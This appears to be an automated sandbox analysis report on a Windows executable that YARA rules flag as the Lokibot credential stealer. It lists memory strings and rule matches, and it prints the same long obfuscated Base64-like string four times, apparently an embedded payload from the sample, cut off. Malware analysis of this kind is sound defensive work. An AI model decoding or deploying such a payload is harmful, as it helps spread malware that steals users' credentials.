Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: String function: 00405B6F appears 42 times

Source: Conan Fegan - Aluminium.exe, 00000000.00000002.654833481.00000000077B0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs Conan Fegan - Aluminium.exe
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.654938639.00000000079A0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameLegacyPathHandling.dllN vs Conan Fegan - Aluminium.exe
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.650852695.00000000009C4000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCallConvCdecl.exe4 vs Conan Fegan - Aluminium.exe
Source: Conan Fegan - Aluminium.exe, 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameAsyncState.dllF vs Conan Fegan - Aluminium.exe
Source: Conan Fegan - Aluminium.exe, 00000005.00000002.900934959.0000000000C84000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCallConvCdecl.exe4 vs Conan Fegan - Aluminium.exe
Source: Conan Fegan - Aluminium.exe	Binary or memory string: OriginalFilenameCallConvCdecl.exe4 vs Conan Fegan - Aluminium.exe

Source: Conan Fegan - Aluminium.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 00000000.00000002.651632346.0000000003D09000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Conan Fegan - Aluminium.exe.3e3d4e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Conan Fegan - Aluminium.exe.3e3d4e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Conan Fegan - Aluminium.exe.3eccf90.3.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Conan Fegan - Aluminium.exe.3eccf90.3.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.Conan Fegan - Aluminium.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.2.Conan Fegan - Aluminium.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.Conan Fegan - Aluminium.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.2.Conan Fegan - Aluminium.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Conan Fegan - Aluminium.exe.3eccf90.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Conan Fegan - Aluminium.exe.3eccf90.3.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score =
Source: 0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Conan Fegan - Aluminium.exe.3dfbac0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Conan Fegan - Aluminium.exe.3dfbac0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research

Source: Conan Fegan - Aluminium.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: Conan Fegan - Aluminium.exe, frmlogin.cs	Base64 encoded string: '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
Source: 0.2.Conan Fegan - Aluminium.exe.960000.0.unpack, frmlogin.cs	Base64 encoded string: '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
Source: 0.0.Conan Fegan - Aluminium.exe.960000.0.unpack, frmlogin.cs	Base64 encoded string: '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
Source: 5.2.Conan Fegan - Aluminium.exe.c20000.1.unpack, frmlogin.cs	Base64 encoded string: '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
